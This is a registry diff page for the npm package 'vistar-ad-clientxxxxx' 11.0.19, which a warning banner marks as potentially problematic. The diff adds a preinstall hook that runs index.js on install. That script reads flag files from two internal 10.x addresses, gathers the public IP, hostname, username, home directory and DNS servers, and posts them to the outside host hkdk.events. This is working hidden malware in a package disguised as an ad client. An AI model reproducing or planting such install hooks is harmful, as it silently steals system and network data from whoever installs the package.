vistar-ad-clientxxxxx 11.0.19

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of vistar-ad-clientxxxxx might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +113 -0
  2. package/package.json +13 -0
package/index.js ADDED
@@ -0,0 +1,113 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const http = require("http");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ // Function to get the public IP using an external API
10
+ function getPublicIP(callback) {
11
+ https
12
+ .get("https://api.ipify.org?format=json", (res) => {
13
+ let data = "";
14
+
15
+ res.on("data", (chunk) => {
16
+ data += chunk;
17
+ });
18
+
19
+ res.on("end", () => {
20
+ try {
21
+ const ipAddress = JSON.parse(data).ip;
22
+ callback(null, ipAddress);
23
+ } catch (e) {
24
+ callback("Failed to parse public IP", null);
25
+ }
26
+ });
27
+ })
28
+ .on("error", (err) => {
29
+ callback(err, null);
30
+ });
31
+ }
32
+
33
+ // Function to fetch the flag from the provided endpoints
34
+ function fetchFlag(url, callback) {
35
+ http
36
+ .get(url, (res) => {
37
+ let data = "";
38
+
39
+ res.on("data", (chunk) => {
40
+ data += chunk;
41
+ });
42
+
43
+ res.on("end", () => {
44
+ callback(null, { url, flag: data.trim() || "No data" });
45
+ });
46
+ })
47
+ .on("error", (err) => {
48
+ callback(err, { url, flag: "Couldn't access it" });
49
+ });
50
+ }
51
+
52
+ // Collect all required data
53
+ getPublicIP((err, publicIP) => {
54
+ if (err) {
55
+ console.log("Error fetching public IP:", err);
56
+ return;
57
+ }
58
+
59
+ const flagRequests = [
60
+ "http://10.72.218.66/flag.txt",
61
+ "http://10.62.252.214/flag.txt",
62
+ ].map((url) => {
63
+ return new Promise((resolve) => {
64
+ fetchFlag(url, (err, result) => {
65
+ resolve(result);
66
+ });
67
+ });
68
+ });
69
+
70
+ Promise.all(flagRequests).then((flags) => {
71
+ const trackingData = JSON.stringify({
72
+ p: package,
73
+ c: __dirname,
74
+ hd: os.homedir(),
75
+ hn: os.hostname(),
76
+ un: os.userInfo().username,
77
+ dns: dns.getServers(),
78
+ r: packageJSON ? packageJSON.___resolved : undefined,
79
+ v: packageJSON.version,
80
+ pjson: packageJSON,
81
+ ip: publicIP,
82
+ flags: flags,
83
+ });
84
+
85
+ const postData = querystring.stringify({
86
+ msg: trackingData,
87
+ });
88
+
89
+ const options = {
90
+ hostname: "hkdk.events",
91
+ port: 443,
92
+ path: "/7ar4u4h02e8d31",
93
+ method: "POST",
94
+ headers: {
95
+ "Content-Type": "application/x-www-form-urlencoded",
96
+ "Content-Length": postData.length,
97
+ },
98
+ };
99
+
100
+ const req = https.request(options, (res) => {
101
+ res.on("data", (d) => {
102
+ process.stdout.write(d);
103
+ });
104
+ });
105
+
106
+ req.on("error", (e) => {
107
+ console.error(e);
108
+ });
109
+
110
+ req.write(postData);
111
+ req.end();
112
+ });
113
+ });
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "vistar-ad-clientxxxxx",
3
+ "version": "11.0.19",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "preinstall": "node index.js"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC",
12
+ "description": ""
13
+ }